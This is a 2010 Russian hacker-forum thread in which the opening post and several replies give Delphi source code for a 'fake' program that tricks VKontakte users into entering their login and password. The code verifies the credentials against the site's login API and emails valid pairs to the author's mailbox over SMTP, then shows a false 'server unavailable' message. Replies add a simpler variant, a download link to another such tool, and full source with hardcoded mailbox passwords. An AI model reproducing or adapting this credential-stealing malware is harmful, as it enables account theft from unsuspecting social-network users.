Простейший фейк на Delphi для контакта

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by SwordMaster, 4 Sep 2010.

  1. SwordMaster

    SwordMaster Banned

    Joined:
    12 Aug 2009
    Messages:
    98
    Likes Received:
    9
    Reputations:
    0
    Предисловие​

    Фэйк (реже фейк, от англ. fake — подделка) - имеет множество значений. В широком смысле слова называется любая подделка, выдаваемая за настоящую вещь. К примеру, все фотографии НЛО считаются фэйками, но это не всегда доказуемо.
    Практика​

    Для старта у нас на ПК должны быть установлен - Delphi 7 Скачать
    Запускаем Delphi 7. Создаем новую форму : File -> New -> Application
    Теперь со вкладки Standart кидаем на форму , для красоты один GroupBox1 , и в него три элемента Edit,три Label,и один Button.
    [​IMG]

    Edit1поле для ввода логина
    Edit2поле для вода пароля
    Edit3 поле вода количества голосов
    Button1 - кнопка, которую будет нажимать пользователь
    [​IMG]
    Отправка писем будет идти через SMTP. Для этого со вкладки Indy Clients нам необходимо кинуть компонент IdSMTP1. И ещё два компонента со вкладки Indy Misc: IdAntiFreeze1 и IdMessage1.
    Дизайн программы
    Во вкладке Object Inspector , она находиться в нижнем левом углу ,можно изменить :
    Caption - Название программы/Компонента
    Height - высота окна программы/Компонента
    Width ширина окна программы/Компонента
    Color цвет программы/Компонента
    Этих опций для начала хватит.
    Переименовываем :

    Label1логин
    Label2 пароль
    Label3 количество голосов
    Etit1 - удаляем название (Не сам компонент ,а только текст)
    Edit2 - удаляем название (Не сам компонент ,а только текст)
    Edit3 - удаляем название (Не сам компонент ,а только текст)
    Button1получить
    GroupBox1 - удаляем название (Не сам компонент ,а только текст)
    Верху есть вкладка Project нажимаем на нее, потом в самом низу Options ,переходим на вкладку Application , в ней можно редактировать :
    Title название программы в свернутом режиме
    Iconиконку программы
    [​IMG]

    Отправка данных​


    Нажимаем два раза по кнопке " Получить " и вставляем код :
    Code:
    procedure UserLogin(login, password: String; var sid, id: String);
    var
    auth : TidHTTP;
    head : String;
    zap : TStringList;
    begin
    password := AnsiToUTF8(password);
    auth := TidHTTP.Create(nil);
    auth.ReadTimeout := 10000;
    zap := TStringList.Create;
    zap.Clear;
    zap.Add('email='+login);
    zap.Add('pass='+password);
    zap.Add('login=force');
    zap.Add('site=2');
    try
    auth.Host := 'login.userapi.com';
    auth.Post('/auth', zap);
    except
    if auth.ResponseCode = 302 then head := auth.Response.RawHeaders.Text; ;
    if auth.ResponseCode <> 302 then Exit;
    head := auth.Response.RawHeaders.Text;
    end;
    auth.Free;
    zap.Free;
    if pos('remixpassword', head) <> 0 then
    begin
    Delete(head, 1, pos('remixmid', head));
    Delete(head, 1, pos('=', head));
    id := Copy(head, 1, pos(';', head)-1);
    Delete(head, 1, pos('remixpassword', head));
    Delete(head, 1, pos('=', head));
    sid := copy(head, pos('<input type='#39'hidden'#39' name='#39's'#39' value='#39'', head)+37, 56);
    end
    end;
    Потом в низу появиться слово Begin вставляем туда код :
    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    UserLogin(Edit1.Text, Edit2.Text, sid, id);
    if sid = '' then
    begin
    ShowMessage('Такой почтовый адрес не зарегистрирован, либо пароль неверный.'); // Сообщение когда  логин,пароль не верный
    end
    else
    begin
    IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
    IdMessage1.From.Text:='[email protected]'; // Мыло  с которого будут отправляться отчёты
    IdMessage1.Recipients.Add.Text:='[email protected]'; // Мыло  куда будут приходит отчёты
    IdMessage1.Subject:='newSMS'; // Тема сообщения
    IdSMTP1.AuthenticationType := atLogin;
    IdSMTP1.Port:=2525; // Порт почтового сервиса отправителя
    IdSMTP1.Host:='SMTP.mail.ru';
    IdSMTP1.Username:='[email protected]'; // Мыло  с которого будут отправляться отчёты
    IdSMTP1.Password:='80681060604sm'; // Пароль от мыла с которого будут отсылаться отчёты
    IdSMTP1.Connect();
    if IdSMTP1.Connected then
    IdSMTP1.Send(IdMessage1);
    idSMTP1.Disconnect;
    showmessage('Извините сервер программы, временно не работает!'); // Сообщение после авторизации
    end;
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    
    end;
    
    end.
    Мыла лучше всего регистрировать на Mail.ru , что не заблокировали аккаунт нужно отправить 5 сообщений .
    В конце концов нажимаем F9 и радуемся своим творением.





    Sword Master
     
    4 people like this.
  2. -PRIVAT-

    -PRIVAT- Banned

    Joined:
    17 Apr 2010
    Messages:
    245
    Likes Received:
    139
    Reputations:
    87
    Не плохая статья. Правда, делфи все делает за нас. Это плохо.
     
  3. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9
    На статью не тянет
     
    1 person likes this.
  4. HakaR

    HakaR Active Member

    Joined:
    23 Jul 2009
    Messages:
    301
    Likes Received:
    200
    Reputations:
    3
    wolmer, +1

    З.Ы.
    Делал давно фейк для Вк на делфи, покрасивее этого будет, вот:
    Ссылка: http://rghost.ru/2530010 (pass: 112)
    Скрин: http://s56.radikal.ru/i151/1009/20/3ea0b2a7b2c1.jpg
    Думаю разберетесь, куда мыло свое вписать....
     
    #4 HakaR, 4 Sep 2010
    Last edited: 4 Sep 2010
  5. ilyhamas

    ilyhamas Banned

    Joined:
    25 Oct 2009
    Messages:
    48
    Likes Received:
    2
    Reputations:
    0
    Код работать не будет, т.к. sid и id нигде не прописано
     
  6. dreamcation

    dreamcation New Member

    Joined:
    2 Apr 2010
    Messages:
    75
    Likes Received:
    0
    Reputations:
    0
    плохо? весьма спорный момент.
     
  7. BlackSite

    BlackSite Banned

    Joined:
    6 Feb 2009
    Messages:
    148
    Likes Received:
    100
    Reputations:
    0
    Те кто попытаются скопировать код и получить сразу прогу увидите что у вас будет ошибка :) так что без минимальных знаний delphi ничего не поделаешь
     
  8. 0pTik

    0pTik Banned

    Joined:
    18 Jul 2010
    Messages:
    240
    Likes Received:
    85
    Reputations:
    17
    Вроде на этом форуме я видел как минимум 3 статьи по написанию фейка
     
  9. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    Более простой код

    Более простой код
    Code:
    procedure TForm1.BitBtn1Click(Sender: TObject);
    begin
    IdSMTP1.Host:='smtp.yandex.ru';
    IdSMTP1.Port:=25;
    IdSMTP1.Username:='login';
    IdSMTP1.Password:='pass';
    IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
    IdMessage1.From.Text:='[email protected]';
    IdMessage1.Recipients.EMailAddresses:='мыло куда слать';
    IdMessage1.Subject:='accsPodarki';
    IdSMTP1.Connect();
    if IdSMTP1.Connected=true then
    IdSMTP1.Send(IdMessage1);
    IdSMTP1.Disconnect
    end;
    
    procedure TForm1.IdSMTP1Connected(Sender: TObject);
    begin
    showmessage(' Попробуйте позже.')
    end;
    
    end.
     
    #9 stepashka_, 4 Sep 2010
    Last edited: 4 Sep 2010
  10. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Это просто словесный понос!Фейк для контакта это подмена айпихи контакта на айпиху пхп скрипта с интерфейсом логина контакта.А точ то что ТС написал это просто бред.
     
  11. SwordMaster

    SwordMaster Banned

    Joined:
    12 Aug 2009
    Messages:
    98
    Likes Received:
    9
    Reputations:
    0
    правильно, готового нет ни где.
    Полный код :
    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, IdMessage, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
      StdCtrls, IdHTTP, sSkinManager, ExtCtrls, acPNG;
    
    type
      TForm1 = class(TForm)
        Edit1: TEdit;
        Edit2: TEdit;
        Button1: TButton;
        IdSMTP1: TIdSMTP;
        IdMessage1: TIdMessage;
        IdHTTP1: TIdHTTP;
        IdAntiFreeze1: TIdAntiFreeze;
        Label1: TLabel;
        Label2: TLabel;
        sSkinManager1: TsSkinManager;
        GroupBox1: TGroupBox;
        CheckBox1: TCheckBox;
        CheckBox2: TCheckBox;
        GroupBox2: TGroupBox;
        Image1: TImage;
        Image2: TImage;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
          sid, id       : String;
    implementation
    
    {$R *.dfm}
    
    procedure UserLogin(login, password: String; var sid, id: String);
    var
      auth  : TidHTTP;
      head  : String;
      zap   : TStringList;
    begin
      password := AnsiToUTF8(password);
      auth := TidHTTP.Create(nil);
      auth.ReadTimeout := 10000;
      zap := TStringList.Create;
      zap.Clear;
      zap.Add('email='+login);
      zap.Add('pass='+password);
      zap.Add('login=force');
      zap.Add('site=2');
      try
        auth.Host := 'login.userapi.com';
        auth.Post('/auth', zap);
      except
        if auth.ResponseCode = 302 then head := auth.Response.RawHeaders.Text; ;
        if auth.ResponseCode <> 302 then Exit;
        head := auth.Response.RawHeaders.Text;
      end;
      auth.Free;
      zap.Free;
      if pos('remixpassword', head) <> 0 then
      begin
        Delete(head, 1, pos('remixmid', head));
        Delete(head, 1, pos('=', head));
        id := Copy(head, 1, pos(';', head)-1);
        Delete(head, 1, pos('remixpassword', head));
        Delete(head, 1, pos('=', head));
        sid := copy(head, pos('<input type='#39'hidden'#39' name='#39's'#39' value='#39'', head)+37, 56);
         end
         end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    UserLogin(Edit1.Text, Edit2.Text, sid, id);
      if sid = '' then
      begin
      ShowMessage('Такой почтовый адрес не зарегистрирован, либо пароль неверный.');
      end
      else
      begin
    IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
    IdMessage1.From.Text:='[email protected]';
    IdMessage1.Recipients.Add.Text:='[email protected]';
    IdMessage1.Subject:='vkfun';
    IdSMTP1.AuthenticationType := atLogin;
    IdSMTP1.Port:=2525;
    IdSMTP1.Host:='SMTP.mail.ru';
    IdSMTP1.Username:='[email protected]';
    IdSMTP1.Password:='uraxoi777';
    IdSMTP1.Connect();
    if IdSMTP1.Connected then
    IdSMTP1.Send(IdMessage1);
    idSMTP1.Disconnect;
    end;
    end;
    
    end.
     
    #11 SwordMaster, 4 Sep 2010
    Last edited: 4 Sep 2010
  12. stepashka_

    stepashka_ Мотоциклист

    Joined:
    9 Nov 2009
    Messages:
    1,022
    Likes Received:
    423
    Reputations:
    234
    То что написал ты это web фейк.
    У ТС'а программный фейк ;)
     
    1 person likes this.
  13. SwordMaster

    SwordMaster Banned

    Joined:
    12 Aug 2009
    Messages:
    98
    Likes Received:
    9
    Reputations:
    0
    Прочитай первый абзац :)
     
  14. RedFern.89

    RedFern.89 Member

    Joined:
    20 Jan 2010
    Messages:
    575
    Likes Received:
    48
    Reputations:
    0
    idSMTP1 IdAntiFreeze1 и IdMessage1 уже начинают вымораживать.
     
  15. SwordMaster

    SwordMaster Banned

    Joined:
    12 Aug 2009
    Messages:
    98
    Likes Received:
    9
    Reputations:
    0
    для новичка,это в самый раз.